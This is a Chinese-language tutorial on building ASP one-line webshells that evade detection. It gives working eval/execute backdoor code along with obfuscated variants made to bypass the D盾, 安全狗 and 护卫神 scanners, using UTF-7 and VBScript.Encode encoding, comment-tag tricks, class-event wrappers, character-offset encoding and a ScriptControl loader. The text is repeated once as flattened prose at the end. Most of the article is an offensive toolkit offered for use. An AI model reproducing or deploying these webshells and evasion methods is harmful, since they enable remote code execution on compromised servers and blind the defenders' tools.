构造免杀的asp一句话木马
字数 1159 2025-08-29 08:32:18

ASP一句话木马免杀技术详解

0x00 前言

随着时间推移,ASP技术逐渐衰落,导致针对ASP网站后门的研究减少。本文详细梳理ASP一句话Webshell的构建方法和免杀技术,目标是构建能绕过8款主流安全检测工具的ASP一句话木马。

0x01 ASP执行原理

ASP脚本支持VBScript和JScript两种脚本语言,部署在IIS或PWS服务器上。执行流程:

  1. IIS判断请求为ASP脚本
  2. 通过Isapi模块调用asp.dll解释引擎
  3. asp.dll获取脚本内容并解释执行

代码块通常包裹在<% %>标签中,默认使用VBScript解释。也可显式指定语言:

<%@ language="VBscript" %>
<script language="VBScript" runat="server">
代码
</script>

0x02 ASP注释方式

ASP支持五种注释方式:

  1. ' 单引号(单行)
  2. REM rem+空格(单行)
  3. // 双斜线(单行,VBscript/JScript可用,仅IIS)
  4. HTML注释符(单行,VBscript可用,仅IIS)
  5. /* */ 多行注释符(JScript可用)

0x03 ASP一句话现状

主要使用三个VBScript函数执行代码:

<%eVAl reQuEst(0)%>
<%exECuTe ReqUEst(0)%>
<%eXECutegLobaL rEquEst(0)%>

常见隐藏方法:

1. UTF-7编码

原始代码:

<%@codepage=65000%><%response.codepage=65001:eval(request("LandGrey"))%>

编码后:

<%@codepage=65000%><%+AHIAZQBzAHAAbwBuAHMAZQAuAGMAbwBkAGUAcABhAGcAZQA9ADYANQAwADAAMQA6AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBMAGEAbgBkAEcAcgBlAHkAIgApACk-%>

2. VBScript.Encode编码

原始代码:

ExecuteGlobal request("LandGrey")

编码后:

<%@ LANGUAGE = "VBScript.Encode"IQAAAA==3X+^!YMVK4msPM+5E/OcrSl [MM+Xrb+AsAAA=

0x04 研究思路

当前困难

  1. ASP技术成熟,难找新型技术
  2. 语法结构简单
  3. 成熟查杀工具的防范

有利条件

  1. ASP应用减少导致查杀重视度降低
  2. 多数工具仍依赖正则特征匹配
  3. ASP特征库更新不及时

研究方法

  1. 收集样本并交叉验证
  2. 分类分析技术
  3. 重点研究绕过部分工具的样本
  4. 深入语法特性挖掘
  5. 结合手工测试与Fuzzing

0x05 绕过D盾检测

方法一:填充垃圾数据+特殊字符串

关键点:

  1. 利用注释符
  2. 使用'%>'<%闭合标签
  3. 填充大量<%%>标签(文件>0.97MB)
  4. 特定位置插入<??>

示例glorysday.asp

<%'%><%%><%%><%%>...<??>...<%%><%%><%execute request("LandGrey")%><%'%>

方法二:<!--"-->注释符

在任何被杀脚本的<%和代码之间插入<!--"-->即可绕过:

<%<!--"-->execute request("LandGrey")%>

0x06 绕过安全狗检测

方法一:<!--"-->注释符

同D盾方法二

方法二:其他方式

  1. VBscript encode编码
  2. 请求判断:
<%if Request("LandGrey")<>"" then ExecuteGlobal request("LandGrey") end if %>
  1. request变量替换:
<%if request("LandGrey")<>""then session("LandGrey")=request("LandGrey"):end if:if session("LandGrey")<>"" then execute session("LandGrey")%>

0x07 绕过护卫神检测

方法一:类初始化事件(极限模式)

<%Class LandGrey 
Private Sub Class_Initialize 
eval(request("LandGrey")) 
End Sub
End Class
Set X = New LandGrey%>

方法二:类卸载事件(极限模式)

<%Class LandGrey 
Private Sub class_terminate 
eval(request("LandGrey")) 
End Sub
End Class
Set X = New LandGrey
Set X = Nothing%>

方法三:花式语法(通用模式)

<%eXecUTe(fun("%167%184%163%174%98%180%167%179%183%167%181%182%106%100%142%163%176%166%137%180%167%187%100%107"))
Function fun(Str): Str = Split(Str,"%") 
For x=1 To Ubound(Str) 
fun=fun&Chr(Str(x)-66) 
Next
End Function%>

0x08 终极免杀方案

使用CreateObject创建ScriptControl组件执行代码:

<%@ language = VBscript 
SET LandGrey = server.CreateObject("mS"&chr(115)&"cR"&chr(105)&"pTCo"&Chr(110)&Chr(84)&"rOL.Sc"&chr(114)&"IpTCo"&Chr(110)&Chr(84)&"rOL.1") 
LandGrey.lANguaGE = cHr(86)&"BsC"&CHR(114)&chr(105)&"PT"
LandGrey.AddObject "REsponse", Response 
LandGrey.AddObject "r"&chr(101)&"quEst", requesT 
LandGrey.AddObject "s"&chr(101)&"ssIon", sessiOn 
LandGrey.AddObject "serv"&chr(101)&"r", serVer 
LandGrey.AddObject "apPlic"&CHR(97)&"tIon", application 
LandGrey.eXECuTeStAtEmENt("eV"&CHr(&0141)&"L"&Chr(40)&"rEqU"&cHr(101)&"St("&chr(34)&"LandGrey"&chr(34)&CHR(41)

总结

  1. 针对不同工具采用不同绕过策略
  2. <!--"-->可绕过D盾和安全狗
  3. 类事件可绕过护卫神极限模式
  4. 字符编码转换可增强隐蔽性
  5. CreateObject方法具有最佳兼容性

通过灵活组合这些技术,可以构建出能绕过主流安全检测工具的ASP一句话木马。

ASP一句话木马免杀技术详解 0x00 前言 随着时间推移,ASP技术逐渐衰落,导致针对ASP网站后门的研究减少。本文详细梳理ASP一句话Webshell的构建方法和免杀技术,目标是构建能绕过8款主流安全检测工具的ASP一句话木马。 0x01 ASP执行原理 ASP脚本支持VBScript和JScript两种脚本语言,部署在IIS或PWS服务器上。执行流程: IIS判断请求为ASP脚本 通过Isapi模块调用asp.dll解释引擎 asp.dll获取脚本内容并解释执行 代码块通常包裹在 <% %> 标签中,默认使用VBScript解释。也可显式指定语言: 0x02 ASP注释方式 ASP支持五种注释方式: ' 单引号(单行) REM rem+空格(单行) // 双斜线(单行,VBscript/JScript可用,仅IIS) HTML注释符(单行,VBscript可用,仅IIS) /* */ 多行注释符(JScript可用) 0x03 ASP一句话现状 主要使用三个VBScript函数执行代码: 常见隐藏方法: 1. UTF-7编码 原始代码: 编码后: 2. VBScript.Encode编码 原始代码: 编码后: 0x04 研究思路 当前困难 ASP技术成熟,难找新型技术 语法结构简单 成熟查杀工具的防范 有利条件 ASP应用减少导致查杀重视度降低 多数工具仍依赖正则特征匹配 ASP特征库更新不及时 研究方法 收集样本并交叉验证 分类分析技术 重点研究绕过部分工具的样本 深入语法特性挖掘 结合手工测试与Fuzzing 0x05 绕过D盾检测 方法一:填充垃圾数据+特殊字符串 关键点: 利用注释符 使用 '%> 和 '<% 闭合标签 填充大量 <%%> 标签(文件>0.97MB) 特定位置插入 <??> 示例 glorysday.asp : 方法二: <!--"--> 注释符 在任何被杀脚本的 <% 和代码之间插入 <!--"--> 即可绕过: 0x06 绕过安全狗检测 方法一: <!--"--> 注释符 同D盾方法二 方法二:其他方式 VBscript encode编码 请求判断: request变量替换: 0x07 绕过护卫神检测 方法一:类初始化事件(极限模式) 方法二:类卸载事件(极限模式) 方法三:花式语法(通用模式) 0x08 终极免杀方案 使用CreateObject创建ScriptControl组件执行代码: 总结 针对不同工具采用不同绕过策略 <!--"--> 可绕过D盾和安全狗 类事件可绕过护卫神极限模式 字符编码转换可增强隐蔽性 CreateObject方法具有最佳兼容性 通过灵活组合这些技术,可以构建出能绕过主流安全检测工具的ASP一句话木马。